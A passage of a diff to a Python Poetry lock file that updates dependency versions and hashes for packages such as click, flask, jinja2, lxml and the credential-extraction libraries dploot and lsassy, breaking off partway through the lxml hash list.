"sha256:04432ad9479fa40ec0f387795ddad4437a2b50417c69fa275e212933519ff294"}, + {file = "charset_normalizer-3.4.1-cp39-cp39-win32.whl", hash = "sha256:3bed14e9c89dcb10e8f3a29f9ccac4955aebe93c71ae803af79265c9ca5644c5"}, + {file = "charset_normalizer-3.4.1-cp39-cp39-win_amd64.whl", hash = "sha256:49402233c892a461407c512a19435d1ce275543138294f7ef013f0b63d5d3765"}, + {file = "charset_normalizer-3.4.1-py3-none-any.whl", hash = "sha256:d98b1668f06378c6dbefec3b92299716b931cd4e6061f3c875a71ced1780ab85"}, + {file = "charset_normalizer-3.4.1.tar.gz", hash = "sha256:44251f18cd68a75b56585dd00dae26183e102cd5e0f9f1466e6df5da2ed64ea3"}, ] [[package]] name = "click" -version = "8.1.7" +version = "8.1.8" description = "Composable command line interface toolkit" optional = false python-versions = ">=3.7" groups = ["main", "dev"] files = [ - {file = "click-8.1.7-py3-none-any.whl", hash = "sha256:ae74fb96c20a0277a1d615f1e4d73c8414f5a98db8b799a7931d1582f3390c28"}, - {file = "click-8.1.7.tar.gz", hash = "sha256:ca9853ad459e787e2192211578cc907e7594e294c7ccc834310722b41b9ca6de"}, + {file = "click-8.1.8-py3-none-any.whl", hash = "sha256:63c132bbbed01578a06712a2d1f497bb62d9c1c0d329b7903a866228027263b2"}, + {file = "click-8.1.8.tar.gz", hash = "sha256:ed53c9d8990d83c2a27deae68e4ee337473f6330c040a31d4225c9574d16096a"}, ] [package.dependencies] @@ -704,14 +687,14 @@ wmi = ["wmi (>=1.5.1)"] [[package]] name = "dploot" -version = "3.1.0" +version = "3.1.2" description = "DPAPI looting remotely in Python" optional = false python-versions = "<4.0.0,>=3.10.0" groups = ["main"] files = [ - {file = "dploot-3.1.0-py3-none-any.whl", hash = "sha256:9fb89c4332f407700929290f147703c79e253d14a505649174c9d761415fddfe"}, - {file = "dploot-3.1.0.tar.gz", hash = "sha256:0e531a12481b0c741be41574988f2a8d3046a66457edb3faecc64ee20f88d6e2"}, + {file = "dploot-3.1.2-py3-none-any.whl", hash = "sha256:365e4c1728b41771fa30f5a7b3154498e93ea3f86489e45ca15188a59d8a2225"}, + {file = "dploot-3.1.2.tar.gz", hash = "sha256:598e921019afb2f2ed9faf8a138ba92f69f7f64b863b868addcc8614e77dc48a"}, ] [package.dependencies] @@ -733,14 +716,14 @@ files = [ [[package]] name = "dunamai" -version = "1.22.0" +version = "1.23.0" description = "Dynamic version generation" optional = false python-versions = ">=3.5" groups = ["main"] files = [ - {file = "dunamai-1.22.0-py3-none-any.whl", hash = "sha256:eab3894b31e145bd028a74b13491c57db01986a7510482c9b5fff3b4e53d77b7"}, - {file = "dunamai-1.22.0.tar.gz", hash = "sha256:375a0b21309336f0d8b6bbaea3e038c36f462318c68795166e31f9873fdad676"}, + {file = "dunamai-1.23.0-py3-none-any.whl", hash = "sha256:a0906d876e92441793c6a423e16a4802752e723e9c9a5aabdc5535df02dbe041"}, + {file = "dunamai-1.23.0.tar.gz", hash = "sha256:a163746de7ea5acb6dacdab3a6ad621ebc612ed1e528aaa8beedb8887fccd2c4"}, ] [package.dependencies] @@ -764,14 +747,14 @@ test = ["pytest (>=6)"] [[package]] name = "flake8" -version = "7.1.1" +version = "7.1.2" description = "the modular source code checker: pep8 pyflakes and co" optional = false python-versions = ">=3.8.1" groups = ["dev"] files = [ - {file = "flake8-7.1.1-py2.py3-none-any.whl", hash = "sha256:597477df7860daa5aa0fdd84bf5208a043ab96b8e96ab708770ae0364dd03213"}, - {file = "flake8-7.1.1.tar.gz", hash = "sha256:049d058491e228e03e67b390f311bbf88fce2dbaa8fa673e7aea87b7198b8d38"}, + {file = "flake8-7.1.2-py2.py3-none-any.whl", hash = "sha256:1cbc62e65536f65e6d754dfe6f1bada7f5cf392d6f5db3c2b85892466c3e7c1a"}, + {file = "flake8-7.1.2.tar.gz", hash = "sha256:c586ffd0b41540951ae41af572e6790dbd49fc12b3aa2541685d253d9bd504bd"}, ] [package.dependencies] @@ -781,22 +764,22 @@ pyflakes = ">=3.2.0,<3.3.0" [[package]] name = "flask" -version = "3.0.3" +version = "3.1.0" description = "A simple framework for building complex web applications." optional = false -python-versions = ">=3.8" +python-versions = ">=3.9" groups = ["main"] files = [ - {file = "flask-3.0.3-py3-none-any.whl", hash = "sha256:34e815dfaa43340d1d15a5c3a02b8476004037eb4840b34910c6e21679d288f3"}, - {file = "flask-3.0.3.tar.gz", hash = "sha256:ceb27b0af3823ea2737928a4d99d125a06175b8512c445cbd9a9ce200ef76842"}, + {file = "flask-3.1.0-py3-none-any.whl", hash = "sha256:d667207822eb83f1c4b50949b1623c8fc8d51f2341d65f72e1a1815397551136"}, + {file = "flask-3.1.0.tar.gz", hash = "sha256:5f873c5184c897c8d9d1b05df1e3d01b14910ce69607a117bd3277098a5836ac"}, ] [package.dependencies] -blinker = ">=1.6.2" +blinker = ">=1.9" click = ">=8.1.3" -itsdangerous = ">=2.1.2" +itsdangerous = ">=2.2" Jinja2 = ">=3.1.2" -Werkzeug = ">=3.0.0" +Werkzeug = ">=3.1" [package.extras] async = ["asgiref (>=3.2)"] @@ -821,7 +804,7 @@ description = "Lightweight in-process concurrent programming" optional = false python-versions = ">=3.7" groups = ["main"] -markers = "python_version < \"3.13\" and (platform_machine == \"aarch64\" or platform_machine == \"ppc64le\" or platform_machine == \"x86_64\" or platform_machine == \"amd64\" or platform_machine == \"AMD64\" or platform_machine == \"win32\" or platform_machine == \"WIN32\")" +markers = "python_version < \"3.14\" and (platform_machine == \"aarch64\" or platform_machine == \"ppc64le\" or platform_machine == \"x86_64\" or platform_machine == \"amd64\" or platform_machine == \"AMD64\" or platform_machine == \"win32\" or platform_machine == \"WIN32\")" files = [ {file = "greenlet-3.1.1-cp310-cp310-macosx_11_0_universal2.whl", hash = "sha256:0bbae94a29c9e5c7e4a2b7f0aae5c17e8e90acbfd3bf6270eeba60c39fce3563"}, {file = "greenlet-3.1.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0fde093fb93f35ca72a556cf72c92ea3ebfda3d79fc35bb19fbe685853869a83"}, @@ -984,14 +967,14 @@ files = [ [[package]] name = "jinja2" -version = "3.1.4" +version = "3.1.5" description = "A very fast and expressive template engine." optional = false python-versions = ">=3.7" groups = ["main"] files = [ - {file = "jinja2-3.1.4-py3-none-any.whl", hash = "sha256:bc5dd2abb727a5319567b7a813e6a2e7318c39f4f487cfe6c89c6f9c7d25197d"}, - {file = "jinja2-3.1.4.tar.gz", hash = "sha256:4a3aee7acbbe7303aede8e9648d13b8bf88a429282aa6122a993f0ac800cb369"}, + {file = "jinja2-3.1.5-py3-none-any.whl", hash = "sha256:aba0f4dc9ed8013c424088f68a5c226f7d6097ed89b246d7749c2ec4175c6adb"}, + {file = "jinja2-3.1.5.tar.gz", hash = "sha256:8fefff8dc3034e27bb80d67c671eb8a9bc424c0ef4c0826edbff304cceff43bb"}, ] [package.dependencies] @@ -1049,14 +1032,14 @@ ldap3 = ">2.5.0,<2.5.2 || >2.5.2,<2.6 || >2.6" [[package]] name = "lsassy" -version = "3.1.12" +version = "3.1.13" description = "Python library to extract credentials from lsass remotely" optional = false python-versions = ">=3.6" groups = ["main"] files = [ - {file = "lsassy-3.1.12-py3-none-any.whl", hash = "sha256:90ceffe3345f6ed6d7c401827572f52486a897ceeb83131582c44f502840eff2"}, - {file = "lsassy-3.1.12.tar.gz", hash = "sha256:ed4e53334a954963776a2df2e9510a5fec36434061ea806d89b4ec90912f014b"}, + {file = "lsassy-3.1.13-py3-none-any.whl", hash = "sha256:a70417a6605afb8919b1d8bac3b123881bb2beb867c38666574d0aab4a41d450"}, + {file = "lsassy-3.1.13.tar.gz", hash = "sha256:d68e0a7ebbe84770e87091e7fd680d66e8cb937cb5221c028a2db6ff48619994"}, ] [package.dependencies] @@ -1067,158 +1050,158 @@ rich = "*" [[package]] name = "lxml" -version = "5.3.0" +version = "5.3.1" description = "Powerful and Pythonic XML processing library combining libxml2/libxslt with the ElementTree API." optional = false python-versions = ">=3.6" groups = ["main"] files = [ - {file = "lxml-5.3.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:dd36439be765e2dde7660212b5275641edbc813e7b24668831a5c8ac91180656"}, - {file = "lxml-5.3.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:ae5fe5c4b525aa82b8076c1a59d642c17b6e8739ecf852522c6321852178119d"}, - {file = "lxml-5.3.0-cp310-cp310-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:501d0d7e26b4d261fca8132854d845e4988097611ba2531408ec91cf3fd9d20a"}, - {file = "lxml-5.3.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:fb66442c2546446944437df74379e9cf9e9db353e61301d1a0e26482f43f0dd8"}, - {file = "lxml-5.3.0-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:9e41506fec7a7f9405b14aa2d5c8abbb4dbbd09d88f9496958b6d00cb4d45330"}, - {file = "lxml-5.3.0-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:f7d4a670107d75dfe5ad080bed6c341d18c4442f9378c9f58e5851e86eb79965"}, - {file = "lxml-5.3.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:41ce1f1e2c7755abfc7e759dc34d7d05fd221723ff822947132dc934d122fe22"}, - {file = "lxml-5.3.0-cp310-cp310-manylinux_2_28_aarch64.whl", hash = "sha256:44264ecae91b30e5633013fb66f6ddd05c006d3e0e884f75ce0b4755b3e3847b"}, - {file = "lxml-5.3.0-cp310-cp310-manylinux_2_28_ppc64le.whl", hash = "sha256:3c174dc350d3ec52deb77f2faf05c439331d6ed5e702fc247ccb4e6b62d884b7"}, - {file = "lxml-5.3.0-cp310-cp310-manylinux_2_28_s390x.whl", hash = "sha256:2dfab5fa6a28a0b60a20638dc48e6343c02ea9933e3279ccb132f555a62323d8"}, - {file = "lxml-5.3.0-cp310-cp310-manylinux_2_28_x86_64.whl", hash = "sha256:b1c8c20847b9f34e98080da785bb2336ea982e7f913eed5809e5a3c872900f32"}, - {file = "lxml-5.3.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:2c86bf781b12ba417f64f3422cfc302523ac9cd1d8ae8c0f92a1c66e56ef2e86"}, - {file = "lxml-5.3.0-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:c162b216070f280fa7da844531169be0baf9ccb17263cf5a8bf876fcd3117fa5"}, - {file = "lxml-5.3.0-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:36aef61a1678cb778097b4a6eeae96a69875d51d1e8f4d4b491ab3cfb54b5a03"}, - {file = "lxml-5.3.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:f65e5120863c2b266dbcc927b306c5b78e502c71edf3295dfcb9501ec96e5fc7"}, - {file = "lxml-5.3.0-cp310-cp310-win32.whl", hash = "sha256:ef0c1fe22171dd7c7c27147f2e9c3e86f8bdf473fed75f16b0c2e84a5030ce80"}, - {file = "lxml-5.3.0-cp310-cp310-win_amd64.whl", hash = "sha256:052d99051e77a4f3e8482c65014cf6372e61b0a6f4fe9edb98503bb5364cfee3"}, - {file = "lxml-5.3.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:74bcb423462233bc5d6066e4e98b0264e7c1bed7541fff2f4e34fe6b21563c8b"}, - {file = "lxml-5.3.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:a3d819eb6f9b8677f57f9664265d0a10dd6551d227afb4af2b9cd7bdc2ccbf18"}, - {file = "lxml-5.3.0-cp311-cp311-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:5b8f5db71b28b8c404956ddf79575ea77aa8b1538e8b2ef9ec877945b3f46442"}, - {file = "lxml-5.3.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2c3406b63232fc7e9b8783ab0b765d7c59e7c59ff96759d8ef9632fca27c7ee4"}, - {file = "lxml-5.3.0-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:2ecdd78ab768f844c7a1d4a03595038c166b609f6395e25af9b0f3f26ae1230f"}, - {file = "lxml-5.3.0-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:168f2dfcfdedf611eb285efac1516c8454c8c99caf271dccda8943576b67552e"}, - {file = "lxml-5.3.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:aa617107a410245b8660028a7483b68e7914304a6d4882b5ff3d2d3eb5948d8c"}, - {file = "lxml-5.3.0-cp311-cp311-manylinux_2_28_aarch64.whl", hash = "sha256:69959bd3167b993e6e710b99051265654133a98f20cec1d9b493b931942e9c16"}, - {file = "lxml-5.3.0-cp311-cp311-manylinux_2_28_ppc64le.whl", hash = "sha256:bd96517ef76c8654446fc3db9242d019a1bb5fe8b751ba414765d59f99210b79"}, - {file = "lxml-5.3.0-cp311-cp311-manylinux_2_28_s390x.whl", hash = "sha256:ab6dd83b970dc97c2d10bc71aa925b84788c7c05de30241b9e96f9b6d9ea3080"}, - {file = "lxml-5.3.0-cp311-cp311-manylinux_2_28_x86_64.whl", hash = "sha256:eec1bb8cdbba2925bedc887bc0609a80e599c75b12d87ae42ac23fd199445654"}, - {file = "lxml-5.3.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:6a7095eeec6f89111d03dabfe5883a1fd54da319c94e0fb104ee8f23616b572d"}, - {file = "lxml-5.3.0-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:6f651ebd0b21ec65dfca93aa629610a0dbc13dbc13554f19b0113da2e61a4763"}, - {file = "lxml-5.3.0-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:f422a209d2455c56849442ae42f25dbaaba1c6c3f501d58761c619c7836642ec"}, - {file = "lxml-5.3.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:62f7fdb0d1ed2065451f086519865b4c90aa19aed51081979ecd05a21eb4d1be"}, - {file = "lxml-5.3.0-cp311-cp311-win32.whl", hash = "sha256:c6379f35350b655fd817cd0d6cbeef7f265f3ae5fedb1caae2eb442bbeae9ab9"}, - {file = "lxml-5.3.0-cp311-cp311-win_amd64.whl", hash = "sha256:9c52100e2c2dbb0649b90467935c4b0de5528833c76a35ea1a2691ec9f1ee7a1"}, - {file = "lxml-5.3.0-cp312-cp312-macosx_10_9_universal2.whl", hash = "sha256:e99f5507401436fdcc85036a2e7dc2e28d962550afe1cbfc07c40e454256a859"}, - {file = "lxml-5.3.0-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:384aacddf2e5813a36495233b64cb96b1949da72bef933918ba5c84e06af8f0e"}, - {file = "lxml-5.3.0-cp312-cp312-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:874a216bf6afaf97c263b56371434e47e2c652d215788396f60477540298218f"}, - {file = "lxml-5.3.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:65ab5685d56914b9a2a34d67dd5488b83213d680b0c5d10b47f81da5a16b0b0e"}, - {file = "lxml-5.3.0-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:aac0bbd3e8dd2d9c45ceb82249e8bdd3ac99131a32b4d35c8af3cc9db1657179"}, - {file = "lxml-5.3.0-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:b369d3db3c22ed14c75ccd5af429086f166a19627e84a8fdade3f8f31426e52a"}, - {file = "lxml-5.3.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c24037349665434f375645fa9d1f5304800cec574d0310f618490c871fd902b3"}, - {file = "lxml-5.3.0-cp312-cp312-manylinux_2_28_aarch64.whl", hash = "sha256:62d172f358f33a26d6b41b28c170c63886742f5b6772a42b59b4f0fa10526cb1"}, - {file = "lxml-5.3.0-cp312-cp312-manylinux_2_28_ppc64le.whl", hash = "sha256:c1f794c02903c2824fccce5b20c339a1a14b114e83b306ff11b597c5f71a1c8d"}, - {file = "lxml-5.3.0-cp312-cp312-manylinux_2_28_s390x.whl", hash = "sha256:5d6a6972b93c426ace71e0be9a6f4b2cfae9b1baed2eed2006076a746692288c"}, - {file = "lxml-5.3.0-cp312-cp312-manylinux_2_28_x86_64.whl", hash = "sha256:3879cc6ce938ff4eb4900d901ed63555c778731a96365e53fadb36437a131a99"}, - {file = "lxml-5.3.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:74068c601baff6ff021c70f0935b0c7bc528baa8ea210c202e03757c68c5a4ff"}, - {file = "lxml-5.3.0-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:ecd4ad8453ac17bc7ba3868371bffb46f628161ad0eefbd0a855d2c8c32dd81a"}, - {file = "lxml-5.3.0-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:7e2f58095acc211eb9d8b5771bf04df9ff37d6b87618d1cbf85f92399c98dae8"}, - {file = "lxml-5.3.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:e63601ad5cd8f860aa99d109889b5ac34de571c7ee902d6812d5d9ddcc77fa7d"}, - {file = "lxml-5.3.0-cp312-cp312-win32.whl", hash = "sha256:17e8d968d04a37c50ad9c456a286b525d78c4a1c15dd53aa46c1d8e06bf6fa30"}, - {file = "lxml-5.3.0-cp312-cp312-win_amd64.whl", hash = "sha256:c1a69e58a6bb2de65902051d57fde951febad631a20a64572677a1052690482f"}, - {file = "lxml-5.3.0-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:8c72e9563347c7395910de6a3100a4840a75a6f60e05af5e58566868d5eb2d6a"}, - {file = "lxml-5.3.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:e92ce66cd919d18d14b3856906a61d3f6b6a8500e0794142338da644260595cd"}, - {file = "lxml-5.3.0-cp313-cp313-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1d04f064bebdfef9240478f7a779e8c5dc32b8b7b0b2fc6a62e39b928d428e51"}, - {file = "lxml-5.3.0-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5c2fb570d7823c2bbaf8b419ba6e5662137f8166e364a8b2b91051a1fb40ab8b"}, - {file = "lxml-5.3.0-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:0c120f43553ec759f8de1fee2f4794452b0946773299d44c36bfe18e83caf002"}, - {file = "lxml-5.3.0-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:562e7494778a69086f0312ec9689f6b6ac1c6b65670ed7d0267e49f57ffa08c4"}, - {file = "lxml-5.3.0-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:423b121f7e6fa514ba0c7918e56955a1d4470ed35faa03e3d9f0e3baa4c7e492"}, - {file = "lxml-5.3.0-cp313-cp313-manylinux_2_28_aarch64.whl", hash = "sha256:c00f323cc00576df6165cc9d21a4c21285fa6b9989c5c39830c3903dc4303ef3"}, - {file = "lxml-5.3.0-cp313-cp313-manylinux_2_28_ppc64le.whl", hash = "sha256:1fdc9fae8dd4c763e8a31e7630afef517eab9f5d5d31a278df087f307bf601f4"}, - {file = "lxml-5.3.0-cp313-cp313-manylinux_2_28_s390x.whl", hash = "sha256:658f2aa69d31e09699705949b5fc4719cbecbd4a97f9656a232e7d6c7be1a367"}, - {file = "lxml-5.3.0-cp313-cp313-manylinux_2_28_x86_64.whl", hash = "sha256:1473427aff3d66a3fa2199004c3e601e6c4500ab86696edffdbc84954c72d832"}, - {file = "lxml-5.3.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:a87de7dd873bf9a792bf1e58b1c3887b9264036629a5bf2d2e6579fe8e73edff"}, - {file = "lxml-5.3.0-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:0d7b36afa46c97875303a94e8f3ad932bf78bace9e18e603f2085b652422edcd"}, - {file = "lxml-5.3.0-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:cf120cce539453ae086eacc0130a324e7026113510efa83ab42ef3fcfccac7fb"}, - {file = "lxml-5.3.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:df5c7333167b9674aa8ae1d4008fa4bc17a313cc490b2cca27838bbdcc6bb15b"}, - {file = "lxml-5.3.0-cp313-cp313-win32.whl", hash = "sha256:c802e1c2ed9f0c06a65bc4ed0189d000ada8049312cfeab6ca635e39c9608957"}, - {file = "lxml-5.3.0-cp313-cp313-win_amd64.whl", hash = "sha256:406246b96d552e0503e17a1006fd27edac678b3fcc9f1be71a2f94b4ff61528d"}, - {file = "lxml-5.3.0-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:8f0de2d390af441fe8b2c12626d103540b5d850d585b18fcada58d972b74a74e"}, - {file = "lxml-5.3.0-cp36-cp36m-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1afe0a8c353746e610bd9031a630a95bcfb1a720684c3f2b36c4710a0a96528f"}, - {file = "lxml-5.3.0-cp36-cp36m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:56b9861a71575f5795bde89256e7467ece3d339c9b43141dbdd54544566b3b94"}, - {file = "lxml-5.3.0-cp36-cp36m-manylinux_2_28_x86_64.whl", hash = "sha256:9fb81d2824dff4f2e297a276297e9031f46d2682cafc484f49de182aa5e5df99"}, - {file = "lxml-5.3.0-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:2c226a06ecb8cdef28845ae976da407917542c5e6e75dcac7cc33eb04aaeb237"}, - {file = "lxml-5.3.0-cp36-cp36m-musllinux_1_2_x86_64.whl", hash = "sha256:7d3d1ca42870cdb6d0d29939630dbe48fa511c203724820fc0fd507b2fb46577"}, - {file = "lxml-5.3.0-cp36-cp36m-win32.whl", hash = "sha256:094cb601ba9f55296774c2d57ad68730daa0b13dc260e1f941b4d13678239e70"}, - {file = "lxml-5.3.0-cp36-cp36m-win_amd64.whl", hash = "sha256:eafa2c8658f4e560b098fe9fc54539f86528651f61849b22111a9b107d18910c"}, - {file = "lxml-5.3.0-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:cb83f8a875b3d9b458cada4f880fa498646874ba4011dc974e071a0a84a1b033"}, - {file = "lxml-5.3.0-cp37-cp37m-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:25f1b69d41656b05885aa185f5fdf822cb01a586d1b32739633679699f220391"}, - {file = "lxml-5.3.0-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:23e0553b8055600b3bf4a00b255ec5c92e1e4aebf8c2c09334f8368e8bd174d6"}, - {file = "lxml-5.3.0-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9ada35dd21dc6c039259596b358caab6b13f4db4d4a7f8665764d616daf9cc1d"}, - {file = "lxml-5.3.0-cp37-cp37m-manylinux_2_28_aarch64.whl", hash = "sha256:81b4e48da4c69313192d8c8d4311e5d818b8be1afe68ee20f6385d0e96fc9512"}, - {file = "lxml-5.3.0-cp37-cp37m-manylinux_2_28_x86_64.whl", hash = "sha256:2bc9fd5ca4729af796f9f59cd8ff160fe06a474da40aca03fcc79655ddee1a8b"}, - {file = "lxml-5.3.0-cp37-cp37m-musllinux_1_2_aarch64.whl", hash = "sha256:07da23d7ee08577760f0a71d67a861019103e4812c87e2fab26b039054594cc5"}, - {file = "lxml-5.3.0-cp37-cp37m-musllinux_1_2_x86_64.whl", hash = "sha256:ea2e2f6f801696ad7de8aec061044d6c8c0dd4037608c7cab38a9a4d316bfb11"}, - {file = "lxml-5.3.0-cp37-cp37m-win32.whl", hash = "sha256:5c54afdcbb0182d06836cc3d1be921e540be3ebdf8b8a51ee3ef987537455f84"}, - {file = "lxml-5.3.0-cp37-cp37m-win_amd64.whl", hash = "sha256:f2901429da1e645ce548bf9171784c0f74f0718c3f6150ce166be39e4dd66c3e"}, - {file = "lxml-5.3.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:c56a1d43b2f9ee4786e4658c7903f05da35b923fb53c11025712562d5cc02753"}, - {file = "lxml-5.3.0-cp38-cp38-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:6ee8c39582d2652dcd516d1b879451500f8db3fe3607ce45d7c5957ab2596040"}, - {file = "lxml-5.3.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0fdf3a3059611f7585a78ee10399a15566356116a4288380921a4b598d807a22"}, - {file = "lxml-5.3.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:146173654d79eb1fc97498b4280c1d3e1e5d58c398fa530905c9ea50ea849b22"}, - {file = "lxml-5.3.0-cp38-cp38-manylinux_2_28_aarch64.whl", hash = "sha256:0a7056921edbdd7560746f4221dca89bb7a3fe457d3d74267995253f46343f15"}, - {file = "lxml-5.3.0-cp38-cp38-manylinux_2_28_x86_64.whl", hash = "sha256:9e4b47ac0f5e749cfc618efdf4726269441014ae1d5583e047b452a32e221920"}, - {file = "lxml-5.3.0-cp38-cp38-musllinux_1_2_aarch64.whl", hash = "sha256:f914c03e6a31deb632e2daa881fe198461f4d06e57ac3d0e05bbcab8eae01945"}, - {file = "lxml-5.3.0-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:213261f168c5e1d9b7535a67e68b1f59f92398dd17a56d934550837143f79c42"}, - {file = "lxml-5.3.0-cp38-cp38-win32.whl", hash = "sha256:218c1b2e17a710e363855594230f44060e2025b05c80d1f0661258142b2add2e"}, - {file = "lxml-5.3.0-cp38-cp38-win_amd64.whl", hash = "sha256:315f9542011b2c4e1d280e4a20ddcca1761993dda3afc7a73b01235f8641e903"}, - {file = "lxml-5.3.0-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:1ffc23010330c2ab67fac02781df60998ca8fe759e8efde6f8b756a20599c5de"}, - {file = "lxml-5.3.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:2b3778cb38212f52fac9fe913017deea2fdf4eb1a4f8e4cfc6b009a13a6d3fcc"}, - {file = "lxml-5.3.0-cp39-cp39-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:4b0c7a688944891086ba192e21c5229dea54382f4836a209ff8d0a660fac06be"}, - {file = "lxml-5.3.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:747a3d3e98e24597981ca0be0fd922aebd471fa99d0043a3842d00cdcad7ad6a"}, - {file = "lxml-5.3.0-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:86a6b24b19eaebc448dc56b87c4865527855145d851f9fc3891673ff97950540"}, - {file = "lxml-5.3.0-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:b11a5d918a6216e521c715b02749240fb07ae5a1fefd4b7bf12f833bc8b4fe70"}, - {file = "lxml-5.3.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:68b87753c784d6acb8a25b05cb526c3406913c9d988d51f80adecc2b0775d6aa"}, - {file = "lxml-5.3.0-cp39-cp39-manylinux_2_28_aarch64.whl", hash = "sha256:109fa6fede314cc50eed29e6e56c540075e63d922455346f11e4d7a036d2b8cf"}, - {file = "lxml-5.3.0-cp39-cp39-manylinux_2_28_ppc64le.whl", hash = "sha256:02ced472497b8362c8e902ade23e3300479f4f43e45f4105c85ef43b8db85229"}, - {file = "lxml-5.3.0-cp39-cp39-manylinux_2_28_s390x.whl", hash = "sha256:6b038cc86b285e4f9fea2ba5ee76e89f21ed1ea898e287dc277a25884f3a7dfe"}, - {file = "lxml-5.3.0-cp39-cp39-manylinux_2_28_x86_64.whl", hash = "sha256:7437237c6a66b7ca341e868cda48be24b8701862757426852c9b3186de1da8a2"}, - {file = "lxml-5.3.0-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:7f41026c1d64043a36fda21d64c5026762d53a77043e73e94b71f0521939cc71"}, - {file = "lxml-5.3.0-cp39-cp39-musllinux_1_2_ppc64le.whl", hash = "sha256:482c2f67761868f0108b1743098640fbb2a28a8e15bf3f47ada9fa59d9fe08c3"}, - {file = "lxml-5.3.0-cp39-cp39-musllinux_1_2_s390x.whl", hash = "sha256:1483fd3358963cc5c1c9b122c80606a3a79ee0875bcac0204149fa09d6ff2727"}, - {file = "lxml-5.3.0-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:2dec2d1130a9cda5b904696cec33b2cfb451304ba9081eeda7f90f724097300a"}, - {file = "lxml-5.3.0-cp39-cp39-win32.whl", hash = "sha256:a0eabd0a81625049c5df745209dc7fcef6e2aea7793e5f003ba363610aa0a3ff"}, - {file = "lxml-5.3.0-cp39-cp39-win_amd64.whl", hash = "sha256:89e043f1d9d341c52bf2af6d02e6adde62e0a46e6755d5eb60dc6e4f0b8aeca2"}, - {file = "lxml-5.3.0-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = 